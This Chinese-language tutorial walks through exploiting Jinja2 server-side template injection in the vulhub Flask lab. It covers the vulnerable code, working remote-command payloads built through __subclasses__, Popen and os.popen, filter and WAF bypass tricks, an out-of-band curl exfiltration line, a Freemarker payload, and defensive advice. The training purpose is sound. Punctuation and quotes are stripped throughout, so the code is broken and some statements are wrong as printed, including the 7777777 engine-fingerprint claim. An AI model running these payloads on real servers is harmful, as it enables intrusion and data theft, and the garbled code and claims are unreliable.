
1. 项目概述从靶场复现到实战思维SSTIServer-Side Template Injection模板注入对于搞Web安全测试和漏洞挖掘的人来说绝对是个绕不开的经典议题。我第一次在实战中遇到它是在一个看似平平无奇的内容管理系统后台一个用于渲染用户通知的输入点最终让我拿到了服务器的shell。那种从“可控输入”到“系统命令执行”的链条打通感是理论学习无法替代的。而vulhub这个开源漏洞靶场环境则为我们安全从业者提供了一个绝佳的“练兵场”它把那些教科书上的、漏洞库里的CVE变成了一个个可以亲手启动、交互、攻破的“活靶子”。这个项目就是基于vulhub靶场对SSTI模板注入漏洞进行一次完整的复现与分析。它不仅仅是一个“搭建环境-运行POC-获得flag”的流程记录。我更想通过这次复现拆解SSTI漏洞的核心原理梳理不同模板引擎如Jinja2, Twig, Freemarker下的利用链构造并分享在复现过程中遇到的坑点与调试技巧。无论是刚入门安全的新手想通过一个具体案例理解漏洞原理还是有一定经验的渗透测试人员希望深化对SSTI利用手法的理解甚至为自动化工具编写payload提供思路这篇文章都能提供一个从理论到实践、从复现到思考的完整路径。2. SSTI漏洞核心原理与危害深度解析2.1 模板引擎的工作机制与“信任边界”要理解SSTI首先得明白模板引擎是干什么的。在Web开发中我们为了将业务逻辑后端代码和页面展示前端HTML分离引入了模板。模板引擎的作用就是把包含动态占位符变量、控制语句的模板文件结合后端传入的数据渲染成最终的HTML页面。以Python中常用的Jinja2为例一个安全的用法是这样的from jinja2 import Template template_string Hello, {{ name }}! template Template(template_string) output template.render(nameAlice) print(output) # 输出Hello, Alice!这里name是一个由开发者完全控制的变量用户只能影响这个变量的值。模板引擎的“信任边界”非常清晰开发者决定模板的结构和逻辑用户只提供数据。SSTI漏洞的根源就在于这个信任边界被打破了。当攻击者能够控制模板内容本身而不仅仅是模板内的变量值时漏洞就产生了。例如user_input {{ 7 * 7 }} # 假设这个输入来自用户 template_string Result: user_input # 开发者错误地将用户输入拼接进了模板字符串 template Template(template_string) output template.render() print(output) # 输出Result: 49看到没用户输入{{ 7*7 }}被当成了模板语法的一部分进行了解析和执行计算出了49。这就意味着攻击者注入的模板语句拥有了与后端应用代码相近的执行能力。这不再是简单的数据展示问题而是代码注入问题。2.2 漏洞产生的常见场景与利用思路演进在实际应用中SSTI漏洞点往往比较隐蔽不像SQL注入那样有明显的“拼接”感。常见场景包括用户可控的文件名或路径比如一个网站功能是渲染不同主题的邮件模板模板文件名由用户参数theme控制。如果代码直接做了render_template(theme .html)攻击者传入theme{{config}}就可能触发漏洞。动态模板片段渲染一些CMS或博客系统允许用户自定义页面模块这些模块内容可能被当作模板渲染。错误的渲染函数调用在某些框架中存在render_template_string()这类直接渲染字符串的函数如果其参数完全或部分可控就是高危漏洞。从利用思路上看SSTI的利用链通常遵循一个清晰的升级路径信息探测确认漏洞存在并识别模板引擎类型。常用payload如{{7*7}}在Twig中结果是49在Jinja2中结果是7777777。上下文探索利用模板引擎的内置对象和方法探索当前上下文环境。例如在Jinja2中{{ self }}、{{ config }}、{{ request }}都可能暴露关键信息。类与对象遍历这是SSTI利用的核心。通过Python的__class__、__mro__、__subclasses__()等魔术方法可以从一个已知对象如数字、字符串、甚至空列表[]出发遍历到所有已加载的Python类最终找到可以执行命令的类如os._wrap_close、subprocess.Popen。实现RCE找到合适的类后调用其方法实现任意命令执行从而完成从漏洞到危害服务器控制的跨越。注意不同模板引擎的语法和内置对象差异巨大。Jinja2、TwigPHP、FreemarkerJava、Smarty的利用方式完全不同。复现时一定要先准确识别引擎否则payload会无效。3. Vulhub靶场环境搭建与目标定位3.1 Vulhub漏洞复现的“瑞士军刀”Vulhub不是一个单一的漏洞环境而是一个基于Docker-Compose的开源漏洞靶场集合。它的最大优势在于“开箱即用”。你不需要手动配置复杂的Web服务器、数据库和易受攻击的应用程序版本只需要具备基本的Docker环境一条命令就能启动一个包含完整漏洞场景的容器。对于SSTI漏洞学习而言Vulhub提供了多个不同框架、不同模板引擎的靶场例如flask/ssti基于Python Flask框架和Jinja2模板引擎的经典靶场。jinja2/ssti更纯粹的Jinja2 SSTI环境。其他包含SSTI漏洞的综合性靶场如某些CMS漏洞环境。使用Vulhub我们可以将精力完全集中在漏洞原理分析和利用技巧上而不是浪费在繁琐且容易出错的环境搭建上。这尤其适合新手快速建立对漏洞的直观感受。3.2 环境准备与靶场启动首先确保你的实验机器上已经安装了Docker和Docker-Compose。这是Vulhub运行的基础。以Linux系统如Kali、Ubuntu为例克隆Vulhub仓库git clone https://github.com/vulhub/vulhub.git cd vulhub这会将所有漏洞环境下载到本地。进入目标漏洞目录cd flask/ssti # 我们以Flask SSTI为例每个漏洞目录下都有一个docker-compose.yml文件定义了服务如何构建和运行。启动靶场环境docker-compose up -d这条命令会拉取所需的镜像如果本地没有并以后台模式启动容器。看到Done提示后环境就绪。确认服务状态docker-compose ps你应该能看到一个名为flask-ssti的容器正在运行并映射了宿主机的某个端口如8080到容器的80端口。访问靶场 打开浏览器访问http://your-ip:8080将your-ip替换为你实验机的IP。如果看到Flask SSTI的测试页面说明环境启动成功。实操心得第一次启动时因为要拉取镜像可能会比较慢。建议在网络通畅的环境下进行。另外使用docker-compose logs命令可以查看容器日志如果启动失败这里是排查问题的第一现场。实验结束后记得在对应目录下执行docker-compose down来关闭并清理容器释放资源。3.3 靶场代码结构与漏洞点分析启动靶场后我们不仅要会打还要知道“靶子”是怎么做的。查看flask/ssti目录下的app.py文件你能看到类似如下的简化代码from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, Guest) # 漏洞点直接将用户输入的name参数拼接进模板字符串进行渲染 template h1Hello, %s!/h1 % name return render_template_string(template) if __name__ __main__: app.run(host0.0.0.0, port80)这就是一个最典型的SSTI漏洞代码开发者意图是向用户问好但错误地使用了%格式化字符串并将结果直接传递给render_template_string。当用户输入包含Jinja2模板语法时就会被解析执行。理解这个简单的代码就抓住了这类漏洞的本质用户输入污染了模板源。在后续的漏洞挖掘中我们就要带着这种思维去寻找任何可能将用户可控数据传入模板渲染函数尤其是render_template_string的地方。4. SSTI漏洞手工探测与利用全流程4.1 第一步漏洞存在性确认与引擎识别面对一个疑似注入点我们首先要进行“无害化”探测。数学运算探测 在输入点本例中是URL参数name尝试注入基本的模板表达式。输入{{7*7}}访问URLhttp://your-ip:8080/?name{{7*7}}预期如果页面返回内容中包含了49而不是原始的{{7*7}}字符串那么基本可以确定存在SSTI并且引擎执行了乘法运算。引擎指纹识别 不同引擎对同一payload的响应不同这可以帮助我们识别。输入{{7*7}}Jinja2返回7777777字符串‘7’重复7次Twig返回49在Twig中*可作用于字符串和数字会尝试转换输入{{7*7}}这是更明确的Jinja2语法同样返回7777777。其他探测payload{{}}观察错误信息。Jinja2、Twig等引擎的错误信息风格迥异。{# comment #}这是Jinja2的注释语法如果被服务端吞掉也是线索。通过以上步骤我们确认了靶场存在Jinja2 SSTI漏洞。4.2 第二步探索模板上下文与内置对象确认漏洞后先别急着执行命令。模板引擎通常提供了一些内置对象可以用来探查当前环境为后续利用铺路。获取配置信息{{ config }}如果Flask应用的config对象可访问这会直接输出数据库连接字符串、SECRET_KEY等敏感信息。在早期或配置不当的应用中这可能直接导致严重信息泄露。获取当前请求对象{{ request }}request对象包含了请求的全部信息有时其类或属性可以作为利用链的起点。探索自我引用{{ self }}在Jinja2中self指向当前模板的顶层命名空间通过self.__dict__或self|attr()可以挖掘更多内部变量。注意事项在实际漏洞利用中很多内置对象可能因沙盒机制或上下文限制而无法访问。例如在较新的或安全配置下的Jinja2环境中config、request可能被从模板上下文中移除。因此从最基础的Python内置对象如字符串、元组、列表开始构建利用链是更通用的方法。4.3 第三步构建利用链——从字符串到命令执行这是SSTI利用最核心、也最考验对Python对象模型理解的部分。我们的目标是找到一个可以执行系统命令的类或函数。思路是“顺藤摸瓜”利用Python的反射机制。利用链构造详解Jinja2为例找到起点对象的类 任何对象都有__class__属性。我们可以从一个简单的空字符串开始。 Payload:{{ .__class__ }}输出class str。这说明我们拿到了字符串类str class的引用。找到基类 通过__mro__方法解析顺序或__bases__属性可以找到一个类的所有父类。 Payload:{{ .__class__.__mro__ }}输出(class str, class object)。可以看到str类的父类是万类之祖——object类。我们的“藤”已经摸到了Python类继承树的根。遍历所有子类object类有一个方法__subclasses__()它能返回当前Python环境中所有继承自object的类基本上是所有已加载的类。这是一个巨大的宝库。 Payload:{{ .__class__.__mro__[1].__subclasses__() }}或者{{ .__class__.__base__.__subclasses__() }}输出一个非常长的列表包含了class os._wrap_close,class subprocess.Popen,class warnings.catch_warnings等数百个类。我们的目标如Popen就在其中。定位目标类 我们需要在这个列表中找到能执行命令的类。常用的是subprocess.Popen或os._wrap_close。由于列表索引可能因Python版本和环境差异而变化我们需要编写payload来搜索。但在这个手工复现中我们可以通过肉眼或简单脚本来确定索引。假设我们找到了Popen在索引258的位置。技巧可以先将__subclasses__()的结果输出到一个文件或者使用Burp Suite的Repeater模块然后搜索subprocess.Popen或os来确定其索引号。实例化并执行命令 通过索引拿到Popen类后就可以实例化并调用它来执行命令了。 Payload:{{ .__class__.__base__.__subclasses__()[258](whoami, shellTrue, stdout-1).communicate()[0].strip() }}[258]: 获取Popen类。(whoami, shellTrue, stdout-1): 实例化Popen对象执行whoami命令。.communicate()[0]: 获取命令执行的输出。.strip(): 清理输出两端的空白字符。将这个payload注入到name参数访问URL如果一切顺利页面上将显示当前容器内运行Web服务的用户通常是www-data或root这标志着我们成功实现了远程代码执行RCE。4.4 第四步利用链的优化与绕过上面的payload虽然有效但很长且依赖固定的索引号。在实际渗透测试中可能需要更稳健或更隐蔽的方式。自动化搜索索引 可以构造一个payload遍历__subclasses__()列表自动寻找包含Popen或os的类。例如使用Jinja2的循环和条件判断如果可用{% for cls in .__class__.__base__.__subclasses__() %} {% if Popen in cls.__name__ %} {{ loop.index0 }}: {{ cls.__name__ }} {% endif %} {% endfor %}这个payload会输出所有类名中包含“Popen”的类的索引和名称。使用os._wrap_close类 有时Popen可能被过滤或环境限制。os._wrap_close类也是一个常用选择它内部引用了os模块。找到这个类后可以通过它拿到os模块进而使用os.popen或os.system。 Payload示例{{ .__class__.__base__.__subclasses__()[X].__init__.__globals__[os].popen(id).read() }}这里[X]是_wrap_close类的索引通过__init__.__globals__可以访问到该函数全局命名空间中的模块。应对过滤与WAF 真实环境常有过滤。常见绕过技巧包括字符串拼接__class____subclasses__。编码使用Base64、Hex、ROT13等编码payload在模板中解码执行。Jinja2可以通过|string|b64decode等过滤器实现。属性访问替代除了点号.还可以使用|attr()过滤器。例如{{ |attr(__class__) }}。数字表示使用计算得到数字索引如{{ (()|select|string|list).pop(24) }}可以构造出字符进而拼接出命令。5. 漏洞复现过程中的问题排查与深度思考5.1 常见问题与解决方案实录在复现过程中你几乎一定会遇到下面这些问题问题现象可能原因排查与解决思路注入{{7*7}}后页面显示49但后续利用链payload无效。1. 索引号不对。2. 目标类如Popen不在子类列表中。3. 沙盒限制或模板上下文受限。1. 使用遍历payload确认目标类的准确索引。2. 输出__subclasses__()的完整列表并搜索os或subprocess。3. 尝试使用其他利用链如通过__builtins__或__import__。页面返回500内部服务器错误或Jinja2报错信息。1. Payload语法错误。2. 访问了不存在的属性或方法。3. 命令执行被系统拦截。1. 仔细检查payload特别是括号、引号的匹配。2. 分步测试先确认__class__、__mro__等基础属性是否可访问。3. 尝试执行无害命令如whoami或id确认是否有权限或拦截。命令执行成功但无回显。1. 命令执行了但输出被丢弃。2. 网络连接问题如反弹shell失败。1. 使用Popen时确保设置了stdout-1并调用communicate()。2. 尝试使用带外OOB技术如DNS查询、HTTP请求将结果带出。curl http://your-server/?result$(whoami)。Docker容器内无法访问外网或执行某些命令。Docker容器默认的网络和权限限制。1. 检查容器网络模式。使用host模式或确保DNS正确。2. 考虑使用绑定挂载将数据写入宿主机文件从宿主机读取。5.2 从复现到实战的思维跃迁在vulhub里复现成功只是第一步。真正的价值在于将这个过程内化为实战能力。漏洞挖掘视角现在你看任何Web应用的渲染功能都会多一个心眼。你会思考“这个用户输入最终是否会被当作模板的一部分来解析” 你会去审计代码中所有render_template_string、Template.render、eval在某些模板引擎中等危险函数的调用。利用链构造的通用性SSTI利用链的核心思想——通过对象的继承关系进行漫游——是一种通用的渗透测试思维。这种思维在反序列化漏洞、PHP对象注入等漏洞中同样适用。理解Python对象模型__class__,__mro__,__globals__是理解许多高级漏洞利用的基础。防御措施的逆向思考通过攻击你才能更好地理解防御。你会明白为什么安全的做法是严格禁止用户输入控制模板内容这是根本。使用沙盒机制Jinja2的沙盒环境可以限制可访问的函数和属性。及时更新和打补丁很多SSTI漏洞源于旧版本模板引擎的已知问题。自动化工具的原理当你手工走通一遍后再看SQLMap的--tamper脚本、或专门的SSTI扫描工具你就会明白它们那些看似奇怪的payload是在做什么甚至能自己编写简单的fuzz脚本来探测和识别模板引擎。6. 拓展不同模板引擎的SSTI利用差异虽然我们以Jinja2为例进行了详细复现但实际环境中模板引擎五花八门。这里简要对比一下让你有个全局认识模板引擎语言常见上下文关键利用语法/思路Jinja2PythonFlask, Django(部分){{ ... }} 利用__class__链。过滤器如TwigPHPSymfony, Drupal(8){{ ... }} 利用_self_context。Twig 1.x有_self.env.getFilter()等利用方式Twig 3.x更严格。FreemarkerJavaSpring MVC, 各类Java Web应用#assign exfreemarker.template.utility.Execute?new() ${ ex(whoami) } 直接实例化危险类。VelocityJavaApache项目#set($x$class.inspect(...)) 通过反射调用Runtime。SmartyPHP多种PHP应用{$smarty.version}可信息泄露。旧版本或配置不当可能通过{php}...{/php}标签执行PHP代码。MakoPythonPylons, Pyramid% ... % 直接嵌入Python代码危险性极高。核心要点遇到疑似SSTI第一步永远是识别模板引擎。可以发送一个引擎特有的语法如Jinja2的{{7*7}} Twig的{{7*7}} Freemarker的${7*7}根据报错信息或输出结果来判断。然后再去寻找针对该引擎的特定利用方法和payload。7. 防御策略与安全开发建议作为开发者如何避免在自己的应用中引入SSTI漏洞以下几点是关键原则严格区分代码与数据这是最根本的一条。绝对不要将用户可控的任何数据拼接到待渲染的模板字符串中。如果需要动态选择模板应该使用白名单机制。使用安全的API在Flask中优先使用render_template(template.html, varuser_input)它渲染的是文件模板用户输入只作为变量值传入。避免使用render_template_string(user_input)除非你能百分百保证user_input的来源绝对安全如硬编码在代码里的字符串。启用模板沙盒对于Jinja2等支持沙盒的引擎确保在渲染不可信内容时启用沙盒环境。沙盒会严格限制可访问的对象和方法。输入过滤与净化对于必须传入模板的变量进行严格的过滤和转义。但要注意单纯的HTML转义对SSTI是无效的因为模板语法在渲染阶段早于HTML转义。关键还是控制输入不进入模板语法层。代码审计与自动化扫描在代码审查环节重点关注所有模板渲染函数的调用点。可以使用静态代码分析工具SAST来辅助发现潜在的拼接漏洞。通过这次从vulhub靶场开始的SSTI漏洞复现之旅我们不仅完成了一次手工利用的练习更重要的是我们拆解了漏洞背后的对象模型、反射机制和利用链构造逻辑。这种“知其然并知其所以然”的理解才是应对未来各种变种漏洞和复杂环境的真正武器。下次在实战中遇到模糊的渲染点你就能带着这套分析方法去探测、去识别、去构造属于你自己的利用路径了。